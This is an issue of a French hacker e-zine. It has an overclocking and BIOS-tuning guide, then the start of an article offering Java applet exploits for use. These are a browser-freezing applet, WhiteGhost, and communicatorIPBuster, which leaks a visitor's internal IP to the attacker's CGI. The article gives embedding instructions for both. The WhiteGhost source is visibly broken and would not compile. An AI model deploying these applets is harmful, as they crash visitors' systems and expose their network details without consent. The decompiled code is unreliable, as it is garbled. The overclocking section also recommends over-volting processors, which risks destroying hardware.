possibilit d'augmenter votre vitesse de bus par pas de 1Mhz (entre 66 et 200 Mhz). Idem pour le multiplicateurs CPU, il est prfrable d'avoir
le plus de marge possible. Il faut s'assurer que l'on dispose d'une large plage de tension d'alimentation du processeur, qui monte d'au moins 1 V
au-dessus de la tension normale du processeur et ce toujours par pas de 0.1 voir 0.05 V. Une sonde de temprature (voir plus) intgres et le
rglages de tous ces paramtres en soft a partir du Setup sont un plus. Il y a beaucoups de cartes mre qui proposent ces rglages par "Jumper"
directement sur la carte mre, ce qui est loins d'tre pratique puisqu'il vous faudra dmonter le botier pour y avoir accs. Bien entendu la
carte doit galement disposer d'un BIOS "Flashable". Tout les fabricants de cartes mre proposent plus ou moins ces "options". Les cartes "de
rfrences" sont les ABIT et ASUS mais d'autres marques moins connues pourront galement aller. (TYAN, GIGABYTES, etc...).

                - Boitier :
Optez pour un grand botier permettant une bonne circulation de l'air, l'ajout de ventilateurs et dot d'une bonne Alimentation. 300 Watts ou
plus, surtout pour un ATHLON ou un PIII. Les boitiers MOREX offrent par exemple d'excellents rsultats  ce niveau. Ils est trs important
d'avoir un grand boitier afin que le flux d'air ne soit pas gn par les cables et de plus une grosse alimentation est prfrable pour rajouter
des ventilateurs afin d'augmenter ce flux d'air.

                - Ventilateurs :
Ils doivent tre le plus gros possible, avec 1 voir 2 ventilateurs trs "performants". la rfrence actuelle est ALPHA mais beaucoups de
fabricants commence  proposer de bons "systmes de refroidissement". Il est vident qu'un ventilateur a 90ff chez votre assembleur prfr est
loin d'tre suffisant pour encaisser la hausse de temprature, consultez donc les sites spcialiss sur le net. L'alternative du ventilateur est
les plaques  effet peltier. Cette plaque, grce  un courant lectrique qui la traverse, reste froide d'un ct tandis que l'autre emmagasine
toute la chaleur. Il suffit alors de placer la partie froide sur le processeur et de ventiler la partie chaude (<maddany>vous pouvez aussi faire
l'inverse si a vous clate). Malheureusement, ce systme dgage normment de chaleur et augmente la temprature globale du botier. Utilisez de
La pte thermique qui permet d'assurer un contact  100% entre le CPU et le Radiateur via elle-mme, et comme c'est un bon conducteur thermique
cela permet d'amliorer lgrement le refroidissement CPU. On peut en trouver dans les magasins d'lectronique ou chez certains assembleurs. 

                - Memoire vive : 
Elle doit tre la plus rapide possible. Maintenant, vous pouvez trouver de la SDRAM  133 Mhz, qui restera le meilleur choix. Si vous tes sur
Paris certains assembleurs vendent de la memoire certifie  146Mhz alors si vous croisez cette memoire foncez c'est la meilleure memoire  ce
jour :o)

<wolf> ben y'a de la 166 maintenant, mais elle coute la peau du cul alors que la 133 est moins chere que la 100, mwarf
<cybz> l'alternative consiste a prendre une carte mere,  un boitier et un ventilateur de merde pour s'acheter un meilleur processeur ;)


-----------------------
2.4 : Refroidissement :
-----------------------
Le principal problme lors d'un overcloking, c'est la chaleur excessive dgag par le processeur. Ainsi il faut refroidir  l'extrme le
processeur et l'intrieur du boitier afin de garantir une stabilit optimale du materiel. Il existe deux sortes de refroidissement : le
refroidissement hardware et le refroidissement software.

        Refroidissement HARDWARE

                - Le processeur : 
Vous vous en doutez, le refroidissement de votre processeur est le plus important. L'ensemble CPU/Radiateur/Ventilateur est une grosse source de
chaleur et  l'origine, seul le minimum ncessaire est assur. Il est donc ncessaire de changer votre ventilateur d'origine par un bon
ventilateur comme un ALPHA. Alpha propose pratiquement un systme de refroidissement par type de processeur. Que ce soit pour Intel ou AMD. Une
chose importante est le contact entre le processeur et le dessous radiateur. Pour assurer un parfait contact, la meilleur chose est d'avoir deux
surfaces compltements planes colles par une couche de pte thermique. Pour amliorer le contact un ponage de la surface du processeur peut
etre envisageable avec de la toile merie trs fine (en posant la toile sur une surface plane et en frottant doucement le processeur dessus).
Cette procdure bien qu'efficace est trs prcise et demande beaucoups de patience et d'attention. Si vous effectuez ces manipulations, pensez 
bien nettoyer les deux surfaces de faon  enlever toute trace de particules mtalliques. Il faut bien prsicer que le poncage dpend du
processeur il est en effet fortement deconseill de poncer un P3 mais un celeron ou un K6-2 ou K6-3 sont facilement poncables. Pour fixer votre
processeur  votre radiateur, il faut dposer une fine couche de pte thermique sur toute la surface de votre processeur et de bien fixer le
tout. Il existe plusieurs sortes de pte thermique. La meilleure est la pte silicone, ou encore mieux la pte  base d'argent mais attention
c'est aussi un trs bon conducteur lectrique ! Evitez par contre les "plaques autocollantes" qui ne sont pas du tout efficaces. Il existe
galement des "colles"  base d'poxy  grande conductivit thermique. 

                - Le boitier :
Il est trs important d'assurer un bon flux d'air dans le boitier, prfrez un grand boitier les petits sont  viter. Si votre boitier ne
comporte que le ventilateur de l'alimentation, vous devez pouvoir en ajouter un en bas de la tour sur la face avant. Ce ventilateur doit aspirer
l'air extrieur pour tre ensuite expulse par le ventilateur de l'alimentation. Vrifier aussi que les cables,  l'intrieur de la tour ne
soient pas "en vrac". Le mieux est de les attacher entres eux et de les fixer sur la paroi de votre botier, de faon  ne pas gner le mouvement
de l'air  l'intrieur.
Voil les principaux lments  vrifier et  appliquer pour effectuer un bon overclocking. Maintenant si vous tes vraiment un perfectionniste,
vous pouvez galement vrifier les points suivant : 
Ds que l'on augmente la frquence du bus de la carte mre, on pousse galement d'autres lments qui vont donc chauffer. Vous pouvez donc
essayer de refroidir aussi :
Les puces du chipset qui grent toutes les liaisons avec le processeur et la mmoire. Elles comportent parfois un radiateur vert, souvent sans
pte thermique, ou carrment sans rien du tout.
Tout comme le processeur, les chips mmoire du cache sont galement des lments critiques vous pouvez donc essayer de les refroidir, ce qui est
moins vident car ce n'est pas vraiment prvu et il n'y a pas de fixation particulires et gnralemant le ventilateur du processeur "gne"
l'accs  ces lments. 

        Refroidissement SOFTWARE

Tous les microprocesseurs rcents intgrent des fonctions de "mise en sommeil", "d'activit ralentie". Il s'agit de modes de fonctionnement dont
le but est d'conomiser l'energie quand le processeur ne travaille pas ou peu. Bien evidemment, un processeur en sommeil, chauffe moins et les
quelques degrs en moins gagns peuvent s'avrer trs utiles. Ces logiciels grent donc cette "option". il en existe plusieurs les deux plus
connus sont Rain et Cpuidle. 
Vous pouvez tlcharger la version de Cpuidle 5.6 ici : http://www.bugcomputer.com/cpuidle/cpuidle56.zip


--------------
2.5 : Rodage :
--------------

Voici un des points de l'overclocking ou beaucoup de personnes ne sont pas d'accord. Le rodage ou burning
Pourquoi roder un processeur ? 
L'ide est simple, il s'agit de faire fonctionner un processeur au "maximum" de ses capacits pour qu'il puisse ensuite tourner  une
sur-frquence qu'il n'acceptait pas initialement.
Le rodage consiste donc  faire fonctionner plusieurs jours un processeur avec une tension d'alimentation, suprieur au maximum autoris par le
constructeur. Par exemple, si votre processeur est prvu pour tourner  2.1 V, on alimentera le processeur  2.3 ou 2.4 V voir plus. Attention
toutefois, n'allez pas mettre la tension  3.0 V sinon vous allez rapidement voir votre processeur "griller". Cet usage intensif ncessite donc
un refroidissement de premier ordre. Maintenant, il vous faut faire tourner un jeu ou une application qui demande le maximum des possibilits de
votre CPU et la encore Quake III sera trs bien. Une fois la priode termine, (plusieurs jours sont ncessaires) le CPU acceptera, peut tre, de
fonctionner  des frquences qu'il n'acceptait pas dans vos premiers "essais" d'overclocking. Bien sr les avis sont partags sur cette
technique, en effet en plus d'tre risque et mortelle pour votre processeur, il arrive frquemment que toutes ces manipulations ne vous donnent
absolument aucun rsultat. De toutes faon personnellement, je pense que si votre processeur ne fonctionne pas  une frquence suprieur de 50
Mhz  sa frquence d'origine, le plus sage est de se rsigner, et de le laisser  sa frquence initiale. 

<cybz> Prochain numero, le tuning de processeur : Mettez un peu d'couleur a votre Duron ;)

-----------------------------------
2.6 : Overcloking des procs INTEL :
-----------------------------------

Je vais donc commencer par les processeurs INTEL. 
Il existe plusieurs sortes de processeurs qui ont bien sr beaucoup volu.
Les premiers Pentium Intel amenrent des frquences de bus plus rapides, alors que celles ci s'arretaient  50 Mhz, s'ajoutrent 60, 66, 75, 83
Mhz et rapidement pas mal de personnes s'aperurent qu'en changeant la frquence du CPU, un P75 devenait alors un P90. Qu'en changeant le
multiplicateur d'un 133 Mhz en X2.5 on arrivait  166 Mhz. Par contre ces processeurs ne permettait pas vraiment de gros overclockings et trs
vite Intel "brida" ses processeurs aux niveaux du coefficient multiplicateur. Le premier processeur qui permis d'offrir de vraies capacits
d'overclocking fut le celeron 300 A, dot d'un cache L2  la frquence processeur. Aprs l'arrive des frquence de bus 95, 100, 105, 112, 124,
133 Mhz ce processeur prvu pour tourner  une frquence de 66Mhz s'avra fonctionner dans tout les cas  100 Mhz ce qui donnait une frquence de
450 Mhz. (4.5 X 100 au lieu de 4.5 X66). Maintenant, les Pentium III coppermine et Cleron offrent de grandes possibilits d'overclocking, les
tensions tant trs basses, ces processeurs chauffent beaucoups moins et acceptent plus facilement des vitesses plus leves. Je ne vais pas
reprendre chaque processeur INTEL et vous donner les rsultats obtenus car vu l'volution, ces rsultats seraient trs vite dpasss (pour voir
des rsultats recents d'overcloking je vous conseille ce site : www.hardware.fr). Je vais juste vous donnez un exemple : un p3-500E coute environ
1000ff, avec un bon overcloking il marche parfaitement  850Mhz ou en un p3-700E marche  1000Mhz !!! vous voyez tout de suite comme les
processeurs INTEL sont malables et facilement overclokable  condition d'avoir du bon matriel.
Il n'y a pas de "rfrences" pour chaque processeur, c'est  vous seul de voir les limites de ce dernier.

Les processeurs qui donnerons les meilleurs rsultats sont les suivants : 

 - La gravure de la puce doit tre la plus petite possible (nous sommes  0.18 et bientt 0.13)
 - La tension du processeur doit tre la plus basse possible (gnralement va en fonction de la gravure de la puce)
 - Les p3 de la srie E car ils chauffent bien moins que les autres et ils sont a 100Mhz de bus systeme et passe donc facilement  133 ou plus.


---------------------------------
2.7 : Overcloking des procs AMD :
---------------------------------

Pour les AMD la chose se complique un peu. Prenons dj les K6, K6-2 et 3.
Ces processeurs sont en thorie trs simples  overclocker.
N'tant pas brids au niveau du coefficient multiplicateur, il est donc tout  fait possible d'augmenter le coeff multiplicateur ainsi que la
vitesse de bus pour atteindre de "grosses vitesses". Bien sr en thorie car cette catgorie de processeur chauffe normement. Pour un K6-2 450
Mhz il n'est pas rare de voir la temprature  65 . Vous pouvez donc essayez de passer  500 Mhz (5x100 ou 4.5x112) mais le rsultat n'est pas
garanti !
Donc pour ces processeurs, vous pouvez augmenter et le coefficient multiplicateur du processeur et la vitesse de bus de votre carte mre.

Pour les ATHLONS la marche  suivre est un peu diffrente. En thorie le coefficient multiplicateur de l'Athlon n'est pas bloqu comme le PIII
mais les cartes mres Socket A ne permettent pas le rglage du coefficient multiplicateur de l'Athlon. Il reste donc la vitesse du bus de la
carte mre, malheureusement aucune carte mre Slot A n'offre la stabilit ncessaire pour rivaliser avec une configuration Intel dans ce domaine.
Pas simple tout ca !!
Pourtant il existe plusieurs moyens. Le premier est la soudure. non ce n'est pas une blague. Si vous tes adroit, vous avez tout  fait la
possibilit d'overclocker votre Athlon avec votre fer  souder. Ci vous tes pris de l'envie de bricoler la marche  suivre se trouve ici :
http://www6.tomshardware.com/cpu/99q3/990826/athlon_overclock-01.html
Le deuxime, plus simple mais qui vous fera quand mme dbourser environ 350 francs. C'est l'achat d'un petite carte qui vient se brancher sur
votre ATHLON et propose une srie de rglages pour Overclocker votre processeur. 


---------------------------------
2.8 : Comment on  o!vercloke ? :
---------------------------------

Pour les cartes mre avec les rglages par le setup :
Pour les cartes mre qui proposent les rglages par le bios, ceci est beaucoup plus simple. Dja vous n'avez pas  ouvrir votre tour. puis tous
se fait sans avoir  manipuler des petits jumpers bien souvent trs difficiles d'accs. Pratiquement toutes les nouvelles cartes mre propose
cette "option". Lorsque vous rentrez dans votre BIOS par la touche "Suppr" de votre clavier ou autre suivant les cartes mre, vous trouverez un
"paragraphe" qui portera le nom de CPU SOFT MENU. Bien sr suivant les modles, marques, il est fort possible que ces options soient regroupes
dans un autre paragraphe. Et comme je ne connais pas tous les Bios par coeur :)) J'ai pris exemple sur une ABIT BE6.


-CPU Name Is : (Dsignation du microprocesseur).
- CPU Operating Speed : Cette option permet de rgler la vitesse du microprocesseur. Dans ce champ, la vitesse est exprime de la manire
suivante : Vitesse du microprocesseur = Horloge externe X Facteur multiplicateur.
- Turbo Frequency: Cette option sera affiche uniquement si lhorloge externe de votre microprocesseur supporte le mode Turbo. Le mode Turbo
vous permet dacclrer lhorloge externe dapproximativement 2.5%. Cette caractristique est utilise pour vrifier la tolrance de la
conception. Cest un outil trs important pour les tests unitaires de la stabilit du microprocesseur. Nutilisez pas cette caractristique.
.Disable : Lhorloge externe fonctionne dans les limites habituelles. .Enable : Lhorloge externe fonctionne dans les limites du mode Turbo.
- Multiplier Factor: C'est ici que vous devez choisir le coefficiant multiplicateur de votre processeur : . 2.0 . 2.5 . 3.0 . 3.5 . 4.0 . 4.5 .
5.0 . 5.5 . 6.0 . 6.5 . 7.0 . 7.5 . 8.0  Cependant, les diffrences existent en raison des diffrentes marques et des diffrents types.
- SEL100/66# Signal: Le rglage par dfaut est High  100 MHz, et Low  66MHz. Lorsque vous voulez essayer un facteur multiplicateur  100 MHz
et que vous ne pouvez pas le choisir dans ltat High, alors vous pouvez utiliser ltat Low.
- AGPCLK/CPUCLK: Le rglage par dfaut est 2/3. Dans cette situation, la vitesse du bus AGP est gale au 2/3 de la vitesse de bus du
microprocesseur. Si vous choisissez le rglage 1/1, la vitesse du bus AGP sera gale  la vitesse de bus du microprocesseur.
- AGPCLK/CPUCLK: Vous avez 16 option: Default, et 1 a 15. Cette caractristique vous permet d'ajuster la vitesse du cache L2 du processeur. plus
la valeur est grande, plus vite la vitesse du cache L2 sera grande. Attention,  ne pas trops pousser le mieux est le le laisser par dfaut.
- Speed Error Hold: Vous devez choisir Disable. Si vous mettez sur Enable, lorsque la vitesse du microprocesseur est mauvaise, le systme
sarrtera.
- CPU Power Supply: Cette option vous permet de basculer entre lalimentation par dfaut et celle dfinie par lutilisateur.
- CPU Default : Le systme dtectera le type de microprocesseur, et choisira automatiquement le voltage correct. 
- User define : Cette option permet  lutilisateur de choisir manuellement le voltage. Vous pouvez changer les valeurs de la liste Core
Voltage en utilisant les touches Page Haut et Page Bas.
Voici en gros ce que vous allez retrouver. Bien sr suivant les constructeur. Vous aurez peut tre plus de choix voir moins.


Pour les cartes mre avec les rglages par Jumpers ou switchers :
Pour ces cartes mres les options se rglent donc par jumpers ou switchers. Bien sur toutes les cartes mre tant diffrentes, vous devez vous
aidez de votre notice. Si toutefois vous l'avez perdue, je vous conseilles d'aller sur le site du constructeur.
Vous aurez donc trois choses  rgler. 
- Vitesse du bus de votre carte mre.
- Coeff. multiplicateur de votre processeur. Les Processeurs rents sont brids. donc valable pour les (AMD k6, k6-2 et 3 et premiers pentium)
- Tension d'alimentation. (Soyez toujours aussi prudents)

Dans tous les cas, la vitesse de votre processeur est = Coefficient multiplicateur X frquence du Bus de votre carte mre. Pour Exemple, un PIII
500 (5 X 100 Mhz) Pourra par exemple passer  620 Mhz (5 X 124 Mhz). 


------------------------
2.9 : Trucs et astuces :
------------------------

Bien sr il y  des risques. Pour rappel
- Perte de garantie
- Perte de donnes
- Panne ou destruction du CPU, de la carte mre ou de l'alimentation.


Bien entendu, il ne faut pas paniquer. Il se peut trs bien qu'au premier redmarrage de votre ordinateur, vous obtenez un cran noir ou que
Windows ne dmarre plus. 
Voici donc quelques "remdes"  essayer.

        - Votre PC refuse de dmarrer - cran noir
Si vous avez la possibilit de rentrer dans votre BIOS, remettez les options par dfaut. Si absolument rien ne s'affiche mme aprs plusieurs
redmarrages, vrifier sur la notice de votre carte mre ou se trouve le CCMOS ce cavalier vous permet de dcharger le CMOS de votre carte mre.
Attention  bien dbrancher l'alimentation pour effectuer cette manipulation.

        - Votre PC plante ou est trs instable
Essayez les Astuces ci-dessous ou revenez  la configuration d'origine.

<cybz>	- Le silicium fondu s'est coll sous vos chaussures
Prenez un chiffon humide et mettez y un peu de pate thermique, frottez fort
sur la semelle et a devrait partir. ATTENTION : mettez toujours des chaussures
avant d'overclocker votre processeur !</cybz>

                - Les Astuces

Ceci n'est pas une liste de remdes miracles mais des options  vrifier qui peuvent agir sur la russite de votre overclocking. 


        - Vrifiez la ventilation.
Vrifiez que vous ayez bien fix votre ventilateur. Qu'il y ait une bonne circulation de l'air dans votre tour. Si votre carte mre  une option
de temprature, regardez la temprature normalement elle ne doit pas dpasser les 70C (voir 75) en fonctionnement, surtout dans le cas d'un PIII
ou ATHLON. 

        - Augmentez le voltage de votre CPU 
Avec prcaution bien entendu ! Si votre processeur chauffe dja beaucoup, gardez  l'esprit qu'une augmentation du voltage le fera chauffer
encore plus. 
Augmentez par pas de 0.1 V voir 0.05 si votre carte propose cette option. 

        - Vrifiez quelques options dans le bios
Lorsque vous passez la frquence de votre bus  75 voir 83 MHz, la RAM peut poser des problmes. En effet il se peut quelle ne supporte pas la
vitesse qui lui est demande. Passez la DRAM Speed de 50ns  60ns, de 60ns  70ns, ou passez les "Write/Read Burst" de x2222  x3333.
La frquence du bus ISA peut galement poser des problmes. Il faut alors augmenter les temps de latence 8/16 bits (8/16 bits I/O Recovery Time).
Il est parfois ncssaire de baisser le mode de fonctionnement du disque dur, cest  dire son Pio Mode, essayez de le passer  "3".

        - Mettez  jours vos BIOS
Mettre  jours les bios de votre carte mre, carte vido etc... peut rsoudre pas mal de problmes donc n'hsitez pas. 



-------------------
2.10 : Conclusion :
-------------------

L'overcloking est donc la moyen ultime d'augmenter les performances de son pc pour pas cher. Meme si c'est l'optimisation la plus efficace sur
un pc il existe tout un tas de petits plus dans le bios notamment qui permettent d'augmenter sensiblement les performances d'un systme
informatique.




3) OPTIMISATION (ou l'art de ne jamais tre satisfait)

----------------------------
3.1 : Optimisation du bios :
----------------------------

Encore une fois pour une description plus dtaille je vous renvoie  mon article la dessus dans sleazy wind 2.
Le BIOS (Basic Input Output System) est l'lment qui coordonne les diffrents composants de votre PC chri. Les rglages par dfaut, qui
permettent  diffrentes machines de fonctionner, ne sont vraiment pas optimiss. Les manipulations que nous allons voir ont leur quivalant sur
pratiquement tous les BIOS (Award, Ami), quel que soit la version, mais les noms utiliss peuvent varier. De mme, les diffrents matriels
donnerons des options diffrentes.

ATTENTION : un mauvais rglage peut provoquer des plantages voir mme empcher la machine de booter. Alors notez bien vos valeurs sur papier
avant de les modifier !

 

        - [Standard CMOS]

Rien de bien intressant  optimiser l dedans... Nanmoins, mettez vos disques sur USER plutt que sur AUTO. Vous gagnerez un peu de temps lors
du boot (mais alors vraiment pas beaucoup, hein ?).

        - [BIOS Feature]

- [CPU Level 1 Cache] (ou CPU Internal Cache) : c'est le cache interne. Activez-le !
- [CPU Level 2 Cache] (ou CPU Extenal Cache) : c'est le cache externe. Activez-le ! Si l'option WriteBack est disponible, utilisez l !
- [Quick Power On Self Test] : permet de ne pas faire diffrents tests lors du boot. Cela acclre le dmarrage de la machine. Activez-le !
- [Boot Sequence] : permet de choisir les units de boot. Afin que le PC ne vrifie pas la prsence d'une disquette dans le lecteur  chaque
dmarrage, ne mettez pas A en premire position. Si vous devez bootez sur une disquette par la suite, changez  nouveau cette option.
- [Boot Up Floppy Seek] : dtecte la prsence et le type de lecteur de disquette au moment du boot. Dsactivez-la pour gagner du temps. 
- [IDE HDD Block Mode Sectors] : permet aux accs disque de se faire sur des blocs de secteurs, ce qui acclre donc ces accs. Mettez donc
cette option sur Enabled ou HDD Max.
- [Video BIOS Shadow] : copie les donnes de la carte vido dans la mmoire vive (plus rapide que la mmoire morte). Mettez cette option sur
Enabled.
- [Shadowing address range] (ou XXXXX - XXXXX Shadow) : Chacun de ces blocs mmoire peut tre copi en RAM. Activez-les un  un si votre
matriel les utilise (et faites attention aux conflits, hein ?).

        - [Chipset Feature]

- [SDRAM Configuration] (ou Auto Configuration) : ceci permet au BIOS de configurer automatiquement la mmoire. Vu que l'on veux le faire
nous-mmes comme un grand, on met cette option sur Disabled.
- [SDRAM CAS Latency] (ou Dram CAS Latency ou encore Dram Timing) : ici, c'est la vitesse d'change entre la RAM et le systme. Essayez de
diminuer cette valeur. Si le systme est instable, augmentez-la.
- [SDRAM RAS to CAS Delay] : idem, il faut aussi tenter de diminuer la valeur.
- [SDRAM RAS Precharge Time] : idem, il faut aussi tenter de diminuer la valeur.

Selon les machines, ces trois dernires valeurs peuvent tre remplaces par [DRAM R/W Bust Timing] (ou DRAM Read Burst et DRAM Write Burst) et
[DRAM R/W Leadoff Timing]. L encore, il faut essayer d'avoir des valeurs les plus petites possibles tout en gardant un systme stable.

- [Sytem BIOS Cacheable] : utilise le cache de niveau 2 pour l'excution du BIOS systme. Mettre sur Enable.
- [Video BIOS Cacheable] : utilise le cache de niveau 2 pour l'excution du BIOS vido. Mettre sur Enable.
- [Video RAM Cacheable] : utilise le cache de niveau 2 pour l'excution de la RAM vido. Mettre sur Enable.
- [8 Bit I/O Recovery Time] : indique la dure du dlai entre deux oprations 8 bits d'entre/sortie. Essayez d'avoir de petites valeurs.
- [16 Bit I/O Recovery Time] : tout pareil. Indique la dure du dlai entre deux oprations 16 bits d'entre/sortie. Essayez d'avoir la aussi de
petites valeurs. 

De mme, certaines machines peuvent vous proposer les options suivantes : [PCI Latency Timer], [PCI Burst], [PCI Fast Back to Back Write] et
[PCI Delayed Transaction]. Dans ce cas, vous devez encore une fois tenter d'avoir des valeurs les plus petites possibles.

        - [Soft Menu]

Si vous possdez une carte mre Abit comme la BH6, vous avez la possibilit d'effectuer d'autres rglages mais ils servent essentiellement pour
l'overclocking. c'est  voir ci dessus :o).


/* L'article n'a pas t fini, il se termine donc prmaturment ici */



Sources :

le forum de www.hardware-fr.com
www.cool-pc.org
pc expert, joystick et mes experiences personnelles
un grand merci a mon oncle qui m'a tout appris ;o)

par Zero-cooL (zerocooll@youpi.fr) l'homme qui refroidit son pc avec le vide interstellaire.

<wolf> moi j'ai un refrigerateur a -100 degrs Kelvin pour mon processeur overclock qui ne plante jammmmmmmmmmmmmmmmmmmm
<ulysse>L'homme qui refroidit son pc avec le cerveau de cybz (oui, a ressemble beaucoup au vide interstellaire )</ulysse>
<cybz> Je tenais a dire que cet article m'a vraiment /* to be continued */ </cybz>


--------------------------------------------------------------------------------------


/SSSSS                                        WW          WW
\SS       LL    EEEE   AA   ZZZZ  Y YY         WW   /\   WW    II  NNN  N  DDDD
 \SS      LL    EE_   AAAA    Z    YY           WW /WW\ WW     II  NNNN N  DD DD
  SS\     LL    EE    A__A   Z     Y             WWWWWWWW      II  NN NNN  DD DD
   SS\    LLLL  EEEE  A  A  ZZZZ  Y               WW  WW       II  NN  NN  DDDD
SSSSS/                                             W  W

                                                        NEUMBEUR THOU
                                              http://members.xoom.com/SleazyWind/


---------------------------------------------------------------------------------------


                     Quand le web mord, by maddany

<wolf> Oh oui, mords moi
<ulysse> salaud! je savais bien que tu me trompais! </ulysse>



I. INTRODUCTION
__________________

On a tendance  considrer le simple fait de surfer sur le net comme sr, je vais vous dmontrer que c'est faux, il existe de nombreuses
attaques mconnues mme au sein de la communaut underground. Je ne vais pas (ou pratiquement pas) aborder les attaques bases sur les scripts et
les contrles activex bien trop rpandues pour que je prenne le temps de les dvelopper. Je vais plutt m'attarder sur les exploits java tant
donn que c'est mon domaine de prdilection et que ce langage est trs peu rpandu  haut niveau dans l'underground, mme au niveau mondial. 
<cybz> quel homme ce maddany!
<mad> ben vi faut ski faut

Java est particulirement rput pour la scurit de ses applets. Leur modle de scurit est en effet dfini selon "le bac  sable" (the
sandbox), ce qui veut dire que l'applet a un certain espace de libert limit qu'elle ne peut en aucun cas dpasser. Par exemple elle n'a pas le
droit d'accder aux ressources sur la machine locale (fichiers, commandes...), elle ne peut effectuer de connections rseaux que vers le site
depuis lequel vous l'avez tlcharg (codebase) et n'a le droit de communiquer qu'avec d'autres applets incluses dans la mme page
(AppletContext). Ce modle trs scuris offre assez peu de libert de mouvement aux mchants hackers mais prsente tout de mme quelques dfauts
que nous verrons plus loin. Si vous ne disposez pas d'outils de dveloppement java et que vous souhaitez compiler les codes source fournis dans
ce dossier, vous pouvez tlcharger le sdk :
-de sun sur http://java.sun.com/products/jdk/
-d'ibm : http://oss.software.ibm.com/developerworks/opensource/jikes/project/
-de microsoft : http://www.microsoft.com/java/

Je rappelle que pour insrer une applet dans une page html vous utilisez le tag 
<applet code="Applet.class" width=200 height=150>Ce texte apparait si le browser ne supporte pas java</applet>. Pour transmettre des paramtres
 une applet utilisez la balise 
<param name="NomDuParametre" value="ValeurDuParametre"> entre les tags <applet> et </applet>. Pour une introduction au java plus dtaille je
vous renvoie  l'article que j'ai rdig pour tua0004. 

Je vais prsenter dans ce dossier un certain nombre d'exploits et leur code source. Je ne prtends pas faire une compilation exhaustive mais
plutt une prsentation des possibilits qui s'offrent  nous. Enjoy.

<wolf> C'est ca vas-y petes la y toi.
<mad> gnap.




II. JAVA SECURITY
______________________


/* Cet article n'est pas fini, je pensais ici faire une partie sur le modle de scurit java
 * mais je ne l'ai jamais termine. Au lieu de la supprimer, je laisse les notes que j'avais
 * prises pour la rdiger, vous aurez un petit overview (et au moins on a l'impression que 
 * j'ai pas rien foutu :)
 * allez voir developer.java.sun.com/developer/onlineTraining/Security/Fundamentals/abstract.html
 * si vous voulez une version exhaustive de cette partie
 */

-pas de pointeurs (pas d'empitement sur des zones de mmoire invalides)
-libration automatique des ressources qui ne sont plus utilises. Le garbage collector runne toutes les secondes, ainsi que quand il n'y a plus
de mmoire libre disponible. On peut l'appeler manuellement dans un programme : System.gc();
-vrification lors de la compilation du type de mmoire requis, pour viter les conversions illgales.
-spcification des droits d'accs  la mmoire grce aux diffrents modificateurs (protected, private et public).
-scurit des classes : la modificateur final appliqu aux classes interdit leur sous-classage et interdit la rcriture des mthodes. 
-vrification du bytecode : tape 1 on vrifie la validit du fichier sans s'intresser au code
                            tape 2 on vrifie les autres lments (super classe...)
                            tape 3 on vrifie que les arguments des mthodes sont du bon type et les opcodes
                            tape 4 on vrifie la validit du code dans une mthode : droits d'accs  la mmoire, type etc
-chargement des classes : tape 1 on vrifie que la classe n'est pas dj charge en mmoire
                          tape 2 si ce n'est pas le cas on charge les donnes
                          tape 3 on convertir les octets en classe (la vrification est effectue  ce niveau)
                          tape 4 on rsout la classe si cela a t demand
                          tape 5 on retourne la classe nouvellement charge
-runtime checking (position dans un tableau, hirarchie des classes)
-security manager





II. JAVA ATE MY BROWSER (<wolf> miam)
__________________________

***White ghost
White ghost est un exploit dvelopp par Tan Jiat Chow, Singapour (kampf@altavista.net). Il attaque l'explorer de windows par l'intermdiaire
d'ie 4 avec active desktop activ. Pour l'utiliser correctement, insrer l'applet dans une nouvelle page (faites un lien qui ouvre une nouvelle
fentre avec le paramtre target="_blank") car le bug est effectif ds que la fentre contenant l'applet est ferme. L'applet se charge et semble
bloque durant le processus d'initialisation, l'utilisateur ferme alors la fentre et voit son explorer bouff par le bug. Les manifestations
sont diverses : disparition de la souris, des carrs blancs apparaissent dans les fentres actives et le menu dmarrer, l'cran se gle...
L'auteur ne souhaite pas diffuser le code tant que microsoft n'a pas remdi au problme, malheureusement il y a des emmerdeurs comme moi ;)
Voici donc le code source reconstitu par moi et mon fidle dcompilateur :

/************BEGIN WhiteGhost.java***************/
import java.awt.*;
import java.applet.Applet;

public class WhiteGhost extends Applet {
    Dimension apd;
    int x;

    public zealand() {}

    public void init() {
        apd=size();
        draw();
    }

    public void draw() {
        Graphics g = getGraphics();
        update(g);
        do
            update(g);
        while(true);
    }

    public void update(Graphics g) {
        flick(g);
    }

    public void flick() {
        g.setColor(Color.white);
        g.fillRect(0,0,apd.width,apd.height);
    }

    public void paint() {
        update(g);
    }
}
/*************END WhiteGhost.java****************/

Selon l'auteur l'exploit est plus efficace si on laisse l'applet se charger pendant 5  10 secondes. On peut y remdier en fermant l'explorer
avec ctrl-alt-suppr ou en rechargeant windows (personnellement je dois redmarrer  chaque fois).





***communicator et les firewalls
Je vous ai dit plus haut que les applets ne pouvaient pas accder aux informations du systme, y compris l'ip local. Seulement le problme qui
rend les applets difficiles  programmer est que chaque browser a sa propre implmentation de java. En l'occurence, communicator nous permet
d'accder sans problme  l'ip local. Bien que a ne soit pas un bug trs spectaculaire il peut tre utile pour dtecter les vritables ip
derrire un firewall et donc de s'asseoir sur l'ip masquerading avec une simple applet (bas sur la dmonstration de alcrypto.co.uk). Il suffit
pour cela de poster l'ip de la machine dtect par l'applet sur un cgi, qui dtecte aussi l'ip qui se connecte sur lui. Si les deux ip sont
diffrents c'est que l'utilisateur est derrire un proxy ou un firewall. On peut comme a arriver  mapper le rseau derrire le proxy, kewl non ?

/************BEGIN communicatorIPBuster.java***************/
import java.net.*;
import java.applet.Applet;
import java.applet.AppletContext;

public class communicatorIPBuster extends Applet {
    InetAddress lhost;

    public void init() {
        try {
            lhost = InetAddress.getLocalHost();
            URL url = new URL(getParameter("url"));
            String target = getParameter("target");
            if(target==null)
                target = "_blank";
            getAppletContext().showDocument(new URL(url+"?"+lhost.getHostName()+"+"+lhost.getHostAddress()), target);
        } catch(Exception e) {}
    }
}
/*************END communicatorIPBuster.java****************/

Pour utiliser cette applet vous devez lui transmettre deux paramtres, votre url (comprenant le nom du script) et la frame dans laquelle le lien
doit tre ouvert. Voici  quoi le rsultat doit ressembler :

<applet code="communicatorIPBuster.class" width=1 height=1>
   <param name="url" value="http://votre.url.com/script.cgi">
   <param name="target" value="_self">
</applet>

Au cas o vous ne sauriez pas quoi mettre dans target voici les diffrentes valeurs admissibles :
"_self"    le lien est ouvert dans la fentre courante
"_parent"  "   "    "    "     "   "     "  parente de l'applet (comme "_self" si elle n'a pas de parent)
"_top"     "   "    "    "     "   "  frame la plus haute dans la fentre de l'applet
"_blank"   "   "    "    "     "   une nouvelle fentre (conseill, comme a on dirait un simple pop-up)
"nom"      "   "    "    "     "   la frame ayant le nom "nom", si votre page html comporte des frames bien sur





